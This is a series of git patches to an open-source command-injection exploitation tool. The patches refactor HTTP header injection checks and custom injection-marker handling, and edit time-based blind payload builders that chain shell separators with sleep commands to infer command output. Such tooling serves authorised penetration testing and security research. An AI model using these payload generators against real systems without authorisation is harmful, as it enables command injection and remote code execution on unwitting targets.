[PATCH 0588/1023] Improved heuristics for processing custom HTTP headers to correctly handle injection markers --- doc/CHANGELOG.md | 1 + src/core/requests/headers.py | 16 ++++++++++++++-- src/utils/settings.py | 2 +- 3 files changed, 16 insertions(+), 3 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 0787ee5cf9..6e8a86675f 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.1 (TBA) +* Revised: Improved heuristics for processing custom HTTP headers to correctly handle injection markers. * Revised: Enhanced target encoding detection with improved charset extraction and prioritization from HTTP headers and HTML meta tags. * Added: Ability to verify target URL content stability by comparing responses across delayed requests. * Revised: Improved session handler for enhanced stability and data integrity. diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index f7b2bfe396..6b0dbfc8b6 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -443,8 +443,20 @@ def do_check(request): http_header_value = checks.remove_tags(http_header_value) request.add_header(http_header_name, http_header_value) - if http_header_name not in [settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE, settings.CUSTOM_HEADER_NAME]: - request.add_header(http_header_name, http_header_value) + # Normalize for comparison + excluded_headers = [ + settings.HOST, + settings.USER_AGENT, + settings.REFERER, + settings.COOKIE, + settings.CUSTOM_HEADER_NAME + ] + excluded_headers = [h.lower() for h in excluded_headers if h] + # Check and apply Title-Case for final header name + if http_header_name.lower() not in excluded_headers: + normalized_name = '-'.join([part.capitalize() for part in http_header_name.split('-')]) + request.add_header(normalized_name, http_header_value) + except: pass diff --git a/src/utils/settings.py b/src/utils/settings.py index dfc455873a..02ec2bca6a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "61" +REVISION = "62" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 6c9c6cc74faf845285c5fb7c5fe7589a8d50795d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 17 Jul 2025 08:05:11 +0300 Subject: [PATCH 0589/1023] Improved detection of custom injection marker (i.e. asterisk `*`) across HTTP input vectors (e.g., URL params, POST data, cookies, headers) --- doc/CHANGELOG.md | 3 +- src/core/injections/controller/controller.py | 156 +++++++++++++------ src/core/requests/headers.py | 1 + src/utils/session_handler.py | 9 +- src/utils/settings.py | 2 +- 5 files changed, 116 insertions(+), 55 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 6e8a86675f..0088373e2b 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,5 +1,6 @@ ## Version 4.1 (TBA) -* Revised: Improved heuristics for processing custom HTTP headers to correctly handle injection markers. +* Revised: Improved detection of custom injection marker (i.e. asterisk `*`) across HTTP input vectors (e.g., URL params, POST data, cookies, headers). +* Revised: Improved heuristics for processing custom HTTP headers to correctly handle injection markers (i.e. asterisk `*`). * Revised: Enhanced target encoding detection with improved charset extraction and prioritization from HTTP headers and HTML meta tags. * Added: Ability to verify target URL content stability by comparing responses across delayed requests. * Revised: Improved session handler for enhanced stability and data integrity. diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 40a2912ddc..f8270ea6b9 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -426,28 +426,6 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time if not settings.CHECK_BOTH_OS: break -""" -Perform checks over custom HTTP Headers parameters. -""" -def custom_headers_checks(url, http_request_method, filename, timesec): - # # Disable Cookie Injection - # settings.COOKIE_INJECTION = None - - for name in range(len(settings.CUSTOM_HEADERS_NAMES)): - if settings.ASTERISK_MARKER in settings.CUSTOM_HEADERS_NAMES[name].split(": ")[1] and not settings.CUSTOM_INJECTION_MARKER: - settings.CUSTOM_HEADER_INJECTION = False - else: - settings.CUSTOM_HEADER_INJECTION = True - settings.CUSTOM_HEADER_NAME = settings.CUSTOM_HEADERS_NAMES[name].split(": ")[0] - settings.HTTP_HEADER = check_parameter = header_name = settings.CUSTOM_HEADER_NAME.lower() - settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(check_parameter) if check_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST - settings.CUSTOM_HEADER_VALUE = settings.CUSTOM_HEADERS_NAMES[name].split(": ")[1].replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) - url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) - if check_parameter != header_name or not injection_proccess(url, check_parameter, http_request_method, filename, timesec): - settings.CUSTOM_HEADER_INJECTION = False - settings.CUSTOM_HEADERS_NAMES[name] = checks.remove_tags(settings.CUSTOM_HEADERS_NAMES[name]) - settings.CUSTOM_HEADER_INJECTION = False - """ Inject HTTP headers parameters (User-agent / Referer / Host). """ @@ -655,80 +633,158 @@ def cookies_checks(url, http_request_method, filename, timesec): """ def headers_checks(url, http_request_method, filename, timesec): if len([i for i in settings.TESTABLE_PARAMETERS_LIST if i in settings.HTTP_HEADERS]) != 0 or \ - settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS or settings.HTTP_HEADERS_INJECTION or \ - any((settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION)): + settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS or \ + settings.HTTP_HEADERS_INJECTION: if not settings.SKIP_NON_CUSTOM: http_headers_injection(url, http_request_method, filename, timesec) """ -Perform checks +Perform checks over custom HTTP Headers parameters. +""" +def custom_headers_checks(url, http_request_method, filename, timesec): + for name in range(len(settings.CUSTOM_HEADERS_NAMES)): + if settings.ASTERISK_MARKER in settings.CUSTOM_HEADERS_NAMES[name].split(": ")[1] and not settings.CUSTOM_INJECTION_MARKER: + settings.CUSTOM_HEADER_INJECTION = False + else: + settings.CUSTOM_HEADER_INJECTION = True + settings.CUSTOM_HEADER_NAME = settings.CUSTOM_HEADERS_NAMES[name].split(": ")[0] + settings.HTTP_HEADER = check_parameter = header_name = settings.CUSTOM_HEADER_NAME.lower() + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(check_parameter) if check_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.CUSTOM_HEADER_VALUE = settings.CUSTOM_HEADERS_NAMES[name].split(": ")[1].replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) + url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) + if check_parameter != header_name or not injection_proccess(url, check_parameter, http_request_method, filename, timesec): + settings.CUSTOM_HEADER_INJECTION = False + settings.CUSTOM_HEADERS_NAMES[name] = checks.remove_tags(settings.CUSTOM_HEADERS_NAMES[name]) + settings.CUSTOM_HEADER_INJECTION = False + +""" +Perform checks across multiple HTTP components (URL parameters, POST data, cookies, +standard headers, and custom headers) to identify possible injection points. """ def perform_checks(url, http_request_method, filename): - # Initiate whitespaces - if settings.MULTI_TARGETS or settings.STDIN_PARSING and len(settings.WHITESPACES) > 1: + + # Prepare whitespaces if multiple targets or stdin parsing is used, + # and more than one whitespace character is defined. Keep only one. + if (settings.MULTI_TARGETS or settings.STDIN_PARSING) and \ + len(settings.WHITESPACES) > 1: settings.WHITESPACES = [_urllib.parse.quote(SINGLE_WHITESPACE)] timesec = settings.TIMESEC - # Check if authentication is needed. + + # Handle authentication if both the authentication URL and the authentication data are provided. if menu.options.auth_url and menu.options.auth_data: - # Do the authentication process. authentication.authentication_process(http_request_method) try: - # Check if authentication page is the same with the next (injection) URL - if _urllib.request.urlopen(url, timeout=settings.TIMEOUT).read() == _urllib.request.urlopen(menu.options.auth_url, timeout=settings.TIMEOUT).read(): + # Verify authentication success by comparing the response content of the main URL and the auth URL. + if _urllib.request.urlopen(url, timeout=settings.TIMEOUT).read() == \ + _urllib.request.urlopen(menu.options.auth_url, timeout=settings.TIMEOUT).read(): err_msg = "Authentication failed using the specified credentials and URL." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg: + # Authentication request failed due to a connection or HTTP error. settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() + + # If only one of the required authentication options is provided, display an error and exit. elif menu.options.auth_url or menu.options.auth_data: err_msg = "Authentication requires specifying both '--auth-url' and '--auth-data' options." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - else: - pass + # If shellshock testing is enabled, force the injection level to HTTP header level. if menu.options.shellshock: settings.INJECTION_LEVEL = settings.HTTP_HEADER_INJECTION_LEVEL else: - if settings.INJECTION_LEVEL != settings.DEFAULT_INJECTION_LEVEL and settings.CUSTOM_INJECTION_MARKER != True: + # If the user specified a custom injection level and no custom marker is used, + # set the level to the user-defined value. + if settings.INJECTION_LEVEL != settings.DEFAULT_INJECTION_LEVEL and \ + not settings.CUSTOM_INJECTION_MARKER: settings.INJECTION_LEVEL = settings.USER_APPLIED_LEVEL - _ = True + proceed_non_custom = True + + # Perform custom marker-based checks if custom injection marker is enabled. if settings.CUSTOM_INJECTION_MARKER: - _ = False - if any((settings.INJECTION_MARKER_LOCATION.URL, settings.INJECTION_MARKER_LOCATION.DATA)): + proceed_non_custom = False + + # Perform checks over GET and POST parameters. + if settings.INJECTION_MARKER_LOCATION.URL or \ + settings.INJECTION_MARKER_LOCATION.DATA: data_checks(url, http_request_method, filename, timesec) + + # Perform checks over cookie values. if settings.INJECTION_MARKER_LOCATION.COOKIE: cookies_checks(url, http_request_method, filename, timesec) + + # Perform checks over standard HTTP headers (User-Agent, Referer, Host). if settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS: headers_checks(url, http_request_method, filename, timesec) + + # Perform checks over custom user-defined HTTP headers. if settings.INJECTION_MARKER_LOCATION.CUSTOM_HTTP_HEADERS: custom_headers_checks(url, http_request_method, filename, timesec) - # if settings.TESTABLE_PARAMETERS_LIST or (settings.USER_DEFINED_POST_DATA and not settings.INJECTION_MARKER_LOCATION.DATA) or (settings.USER_DEFINED_URL_DATA and not settings.INJECTION_MARKER_LOCATION.URL): - # if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.URL or not settings.INJECTION_MARKER_LOCATION.DATA: - if settings.TESTABLE_PARAMETERS_LIST or len(settings.USER_DEFINED_POST_DATA) != 0 and any((settings.INJECTION_MARKER_LOCATION.URL, settings.INJECTION_MARKER_LOCATION.DATA)): + + # If parameters or POST data are present, and marker is in URL or DATA, + # perform remaining non-custom checks for completeness. + if (settings.TESTABLE_PARAMETERS_LIST or \ + len(settings.USER_DEFINED_POST_DATA) != 0) and \ + (settings.INJECTION_MARKER_LOCATION.URL or \ + settings.INJECTION_MARKER_LOCATION.DATA): checks.process_non_custom() + # Perform default (non-custom) injection checks if not explicitly skipped. if not settings.SKIP_NON_CUSTOM: + # Disable custom injection mode before running default checks. settings.CUSTOM_INJECTION_MARKER = False - if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.URL or not settings.INJECTION_MARKER_LOCATION.DATA: + + # Perform checks over GET/POST parameters if allowed or marker is not set in URL/DATA. + if settings.TESTABLE_PARAMETERS_LIST or \ + not settings.INJECTION_MARKER_LOCATION.URL or \ + not settings.INJECTION_MARKER_LOCATION.DATA: data_checks(url, http_request_method, filename, timesec) - if _: - if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.COOKIE and settings.INJECTION_LEVEL == settings.COOKIE_INJECTION_LEVEL: - # if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.COOKIE and settings.INJECTION_LEVEL == settings.COOKIE_INJECTION_LEVEL: + + if proceed_non_custom: + # Determine if we should perform cookie-based injection checks. + cookie_check = (settings.TESTABLE_PARAMETERS_LIST or \ + not settings.INJECTION_MARKER_LOCATION.COOKIE) and \ + settings.INJECTION_LEVEL == settings.COOKIE_INJECTION_LEVEL + if cookie_check: settings.COOKIE_INJECTION = True cookies_checks(url, http_request_method, filename, timesec) - if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS and settings.INJECTION_LEVEL == settings.HTTP_HEADER_INJECTION_LEVEL: - # if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS and settings.INJECTION_LEVEL == settings.HTTP_HEADER_INJECTION_LEVEL: + + # Prepare headers list to evaluate whether header injection should be attempted. + testable = settings.TESTABLE_PARAMETERS_LIST + if isinstance(testable, str): + testable = [testable] + testable_lower = [t.lower() for t in testable if isinstance(t, str)] + + header_flags = [ + settings.USER_AGENT, + settings.REFERER, + settings.HOST + ] + + # Check if any header flag is within the testable parameters list. + header_found = any(isinstance(h, str) and \ + h.lower() in testable_lower for h in header_flags) + + # Decide if header-based injection should be tested. + header_check = (settings.TESTABLE_PARAMETERS_LIST or \ + not settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS) and \ + settings.INJECTION_LEVEL == settings.HTTP_HEADER_INJECTION_LEVEL or header_found + + if header_check: settings.HTTP_HEADERS_INJECTION = True headers_checks(url, http_request_method, filename, timesec) + else: + settings.CUSTOM_HEADER_INJECTION = True + # Perform custom headers injection checks. + custom_headers_checks(url, http_request_method, filename, timesec) + + # Return True if injection checks are active/enabled, False otherwise. + return settings.INJECTION_CHECKER is not False - if settings.INJECTION_CHECKER == False: - return False - else: - return True """ General check on every injection technique. diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 6b0dbfc8b6..135bd76f48 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -452,6 +452,7 @@ def do_check(request): settings.CUSTOM_HEADER_NAME ] excluded_headers = [h.lower() for h in excluded_headers if h] + # Check and apply Title-Case for final header name if http_header_name.lower() not in excluded_headers: normalized_name = '-'.join([part.capitalize() for part in http_header_name.split('-')]) diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 6d0b426f92..ef83148bc3 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -258,7 +258,9 @@ def check_stored_injection_points(url, check_parameter, http_request_method): for session in sessions: session_url = session[1] technique_info = session[2] - + vuln_param = session[6] + http_header = session[12] + # Parse technique if technique_info == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: technique = technique_info.split()[2][0] @@ -269,7 +271,8 @@ def check_stored_injection_points(url, check_parameter, http_request_method): if technique in menu.options.tech: found = True - vuln_parameter = session[6] # Last matching session wins + # Prefer more specific vulnerable parameter (e.g., HTTP header), if available + vuln_parameter = vuln_param or http_header cookie = session[20] if len(session) > 20 else None if cookie: @@ -280,7 +283,7 @@ def check_stored_injection_points(url, check_parameter, http_request_method): if found: settings.LOAD_SESSION = True settings.INJECTION_CHECKER = True - if not settings.MULTI_TARGETS: + if not settings.MULTI_TARGETS and vuln_parameter not in settings.TESTABLE_PARAMETERS_LIST: settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) return session_url, vuln_parameter diff --git a/src/utils/settings.py b/src/utils/settings.py index 02ec2bca6a..be4730ac7c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "62" +REVISION = "63" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 648fe3b9db13bcffa47e968bb489bd84b8c2f8f6 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 18 Jul 2025 06:48:03 +0300 Subject: [PATCH 0590/1023] Minor code refactoring related to HTTP header(s) injection --- src/core/injections/controller/controller.py | 106 ++++++++++--------- src/utils/settings.py | 2 +- 2 files changed, 58 insertions(+), 50 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index f8270ea6b9..5104f21334 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -427,59 +427,67 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time break """ -Inject HTTP headers parameters (User-agent / Referer / Host). +Perform injection for a specific HTTP header (User-Agent, Referer, or Host) """ def http_headers_injection(url, http_request_method, filename, timesec): - def user_agent_injection(url, http_request_method, filename, timesec): - user_agent = menu.options.agent - settings.USER_AGENT_INJECTION = True - settings.HTTP_HEADER = check_parameter = header_name = settings.USER_AGENT.lower() - url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) - if check_parameter != header_name or not injection_proccess(url, check_parameter, http_request_method, filename, timesec): - settings.USER_AGENT_INJECTION = None - menu.options.agent = user_agent - - def referer_injection(url, http_request_method, filename, timesec): - referer = menu.options.referer - settings.REFERER_INJECTION = True - settings.HTTP_HEADER = check_parameter = header_name = settings.REFERER.lower() - url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) - if check_parameter != header_name or not injection_proccess(url, check_parameter, http_request_method, filename, timesec): - settings.REFERER_INJECTION = None - menu.options.referer = referer - - def host_injection(url, http_request_method, filename, timesec): - host = menu.options.host - settings.HOST_INJECTION = True - settings.HTTP_HEADER = check_parameter = header_name = settings.HOST.lower() - url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) - if check_parameter != header_name and not injection_proccess(url, check_parameter, http_request_method, filename, timesec): - settings.HOST_INJECTION = None - menu.options.host = host - - if not any((settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION)) and \ - menu.options.test_parameter == None and \ - menu.options.skip_parameter == None: - user_agent_injection(url, http_request_method, filename, timesec) - referer_injection(url, http_request_method, filename, timesec) - host_injection(url, http_request_method, filename, timesec) + def inject_header(header_attr, option_attr, injection_flag_attr): + # Save the original value of the option (to restore later) + original_value = getattr(menu.options, option_attr) + + # Enable the corresponding injection flag + setattr(settings, injection_flag_attr, True) + + # Get the header name (e.g., "user-agent", "referer", "host") + header_name = getattr(settings, header_attr).lower() + settings.HTTP_HEADER = check_parameter = header_name + + # Check if the session has stored data for this header + new_url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) + + # If the header was replaced or injection failed, reset the injection flag + if check_parameter != header_name or not injection_proccess(new_url, check_parameter, http_request_method, filename, timesec): + setattr(settings, injection_flag_attr, None) + + # Restore the original option value + setattr(menu.options, option_attr, original_value) + + # Determine whether a header should be tested for injection + def test_header(header_attr): + test_param = menu.options.test_parameter + skip_param = menu.options.skip_parameter + header_value = getattr(settings, header_attr).lower() + + # Check if the corresponding injection flag is already active + if getattr(settings, header_attr.upper() + "_INJECTION"): + return True + + # Check if explicitly included in test_parameter + if isinstance(test_param, str) and header_value in test_param.lower(): + return True + + # Check if not excluded via skip_parameter + if isinstance(skip_param, str) and header_value not in skip_param.lower(): + return True + + return False + + # If no specific test or skip parameters and no injection flags are set, test all headers + no_injection_flags = not settings.USER_AGENT_INJECTION and not settings.REFERER_INJECTION and not settings.HOST_INJECTION + no_test_or_skip = menu.options.test_parameter is None and menu.options.skip_parameter is None + + if no_injection_flags and no_test_or_skip: + inject_header("USER_AGENT", "agent", "USER_AGENT_INJECTION") + inject_header("REFERER", "referer", "REFERER_INJECTION") + inject_header("HOST", "host", "HOST_INJECTION") else: - # User-Agent HTTP header injection - if settings.USER_AGENT_INJECTION or \ - (type(menu.options.test_parameter) is str and settings.USER_AGENT.lower() in menu.options.test_parameter.lower()) or \ - (type(menu.options.skip_parameter) is str and settings.USER_AGENT.lower() not in menu.options.skip_parameter.lower()): - user_agent_injection(url, http_request_method, filename, timesec) - # Referer HTTP header injection - if settings.REFERER_INJECTION or \ - (type(menu.options.test_parameter) is str and settings.REFERER.lower() in menu.options.test_parameter.lower()) or \ - (type(menu.options.skip_parameter) is str and settings.REFERER.lower() not in menu.options.skip_parameter.lower()): - referer_injection(url, http_request_method, filename, timesec) - # Host HTTP header injection - if settings.HOST_INJECTION or \ - (type(menu.options.test_parameter) is str and settings.HOST.lower() in menu.options.test_parameter.lower()) or \ - (type(menu.options.skip_parameter) is str and settings.HOST.lower() not in menu.options.skip_parameter.lower()): - host_injection(url, http_request_method, filename, timesec) + # Conditional injection based on test/skip flags or predefined injection settings + if test_header("USER_AGENT"): + inject_header("USER_AGENT", "agent", "USER_AGENT_INJECTION") + if test_header("REFERER"): + inject_header("REFERER", "referer", "REFERER_INJECTION") + if test_header("HOST"): + inject_header("HOST", "host", "HOST_INJECTION") """ Inject Cookie parameters diff --git a/src/utils/settings.py b/src/utils/settings.py index be4730ac7c..6cccfc7f4d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "63" +REVISION = "64" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 19b4a6d8d4e832d69a462ce6c87e2d0d7cab195d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 21 Jul 2025 08:13:12 +0300 Subject: [PATCH 0591/1023] Minor update --- src/core/requests/headers.py | 11 +++++++---- src/utils/settings.py | 2 +- 2 files changed, 8 insertions(+), 5 deletions(-) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 135bd76f48..8338edeb46 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -48,12 +48,15 @@ def encode_non_ascii_url(request): url = request.get_full_url() parts = _urllib.parse.urlsplit(url) - # Allow '%' safe to avoid double encoding already encoded sequences - path = _urllib.parse.quote(parts.path, safe="%/") # Keep slashes safe too - query = _urllib.parse.quote(parts.query, safe="=?/%" + settings.PARAMETER_DELIMITER) # Keep query delimiters + % safe + # Encode path, preserving '/', '*', and '%' to avoid over-encoding + path = _urllib.parse.quote(parts.path, safe="*%/") + # Encode query string, preserving delimiters and configured parameter delimiter + query = _urllib.parse.quote(parts.query, safe="*=?/%" + settings.PARAMETER_DELIMITER) + # Reconstruct the full URL with encoded path and query request.full_url = _urllib.parse.urlunsplit((parts.scheme, parts.netloc, path, query, parts.fragment)) - return request + return request + """ Checking the HTTP response content. """ diff --git a/src/utils/settings.py b/src/utils/settings.py index 6cccfc7f4d..aa5c87a26a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "64" +REVISION = "65" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 02464f92db4fc61cb5c46b5d5b59af95e95a57d0 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 27 Jul 2025 17:43:32 +0300 Subject: [PATCH 0592/1023] Enhanced injection logic with better handling of custom injection marker(s) and improved tracking of tested parameters --- doc/CHANGELOG.md | 1 + .../techniques/time_based/tb_payloads.py | 57 ++++-- src/core/injections/controller/checks.py | 42 ++-- src/core/injections/controller/controller.py | 182 ++++++++++++------ .../techniques/classic/cb_payloads.py | 16 ++ .../techniques/file_based/fb_payloads.py | 14 ++ .../techniques/tempfile_based/tfb_payloads.py | 44 +++-- src/core/main.py | 55 +++--- src/core/requests/headers.py | 10 +- src/core/requests/parameters.py | 60 +++--- src/utils/settings.py | 17 +- 11 files changed, 324 insertions(+), 174 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 0088373e2b..4a5c684135 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.1 (TBA) +* Revised: Enhanced injection logic with better handling of custom injection markers and improved tracking of tested parameters. * Revised: Improved detection of custom injection marker (i.e. asterisk `*`) across HTTP input vectors (e.g., URL params, POST data, cookies, headers). * Revised: Improved heuristics for processing custom HTTP headers to correctly handle injection markers (i.e. asterisk `*`). * Revised: Enhanced target encoding detection with improved charset extraction and prioritization from HTTP headers and HTML meta tags. diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index 2a029feca9..07b41bcf3e 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -67,7 +67,9 @@ def decision(separator, TAG, output_length, timesec, http_request_method): "[ " + str(output_length) + " -eq $" + settings.RANDOM_VAR_GENERATOR + "1 ]" + separator + "sleep " + str(timesec) ) - separator = _urllib.parse.unquote(separator) + + # separator = _urllib.parse.unquote(separator) + elif separator == "||" : pipe = "|" payload = (pipe + @@ -78,6 +80,9 @@ def decision(separator, TAG, output_length, timesec, http_request_method): else: pass + if settings.CUSTOM_INJECTION_MARKER: + payload = payload + separator + return payload """ @@ -126,7 +131,9 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me "[ " + str(output_length) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) - separator = _urllib.parse.unquote(separator) + + # separator = _urllib.parse.unquote(separator) + elif separator == "||" : pipe = "|" payload = (pipe + @@ -137,6 +144,9 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me else: pass + if settings.CUSTOM_INJECTION_MARKER: + payload = payload + separator + payload = checks.payload_newline_fixation(payload) return payload @@ -194,7 +204,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): "[ " + str(output_length) + " -eq $" + settings.RANDOM_VAR_GENERATOR + "1 ]" + separator + "sleep " + str(timesec) ) - separator = _urllib.parse.unquote(separator) + # separator = _urllib.parse.unquote(separator) elif separator == "||" : pipe = "|" @@ -206,6 +216,9 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): else: pass + if settings.CUSTOM_INJECTION_MARKER: + payload = payload + separator + return payload """ @@ -254,7 +267,9 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque "[ " + str(output_length) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\") " ) - separator = _urllib.parse.unquote(separator) + + # separator = _urllib.parse.unquote(separator) + elif separator == "||" : pipe = "|" payload = (pipe + @@ -265,8 +280,10 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque else: pass - payload = checks.payload_newline_fixation(payload) - return payload + if settings.CUSTOM_INJECTION_MARKER: + payload = payload + separator + + return checks.payload_newline_fixation(payload) """ Get the execution output, of shell execution. @@ -325,7 +342,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met "[ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + "sleep " + str(timesec) ) - separator = _urllib.parse.unquote(separator) + # separator = _urllib.parse.unquote(separator) elif separator == "||" : pipe = "|" @@ -338,6 +355,9 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met else: pass + if settings.CUSTOM_INJECTION_MARKER: + payload = payload + separator + return payload """ @@ -388,7 +408,7 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) - separator = _urllib.parse.unquote(separator) + # separator = _urllib.parse.unquote(separator) elif separator == "||" : pipe = "|" @@ -400,7 +420,11 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http else: pass + if settings.CUSTOM_INJECTION_MARKER: + payload = payload + separator + payload = checks.payload_newline_fixation(payload) + return payload """ @@ -437,6 +461,7 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me "then sleep " + str(timesec) + separator + "fi" ) + elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -446,7 +471,7 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me "[ " + str(ascii_char) + " -eq $" + settings.RANDOM_VAR_GENERATOR + " ] " + separator + "sleep " + str(timesec) ) - separator = _urllib.parse.unquote(separator) + # separator = _urllib.parse.unquote(separator) elif separator == "||" : pipe = "|" @@ -457,6 +482,9 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me else: pass + if settings.CUSTOM_INJECTION_MARKER: + payload = payload + separator + return payload """ @@ -493,6 +521,7 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + "fi" ) + elif separator == _urllib.parse.quote("&&") : #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -502,7 +531,9 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt "[ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" 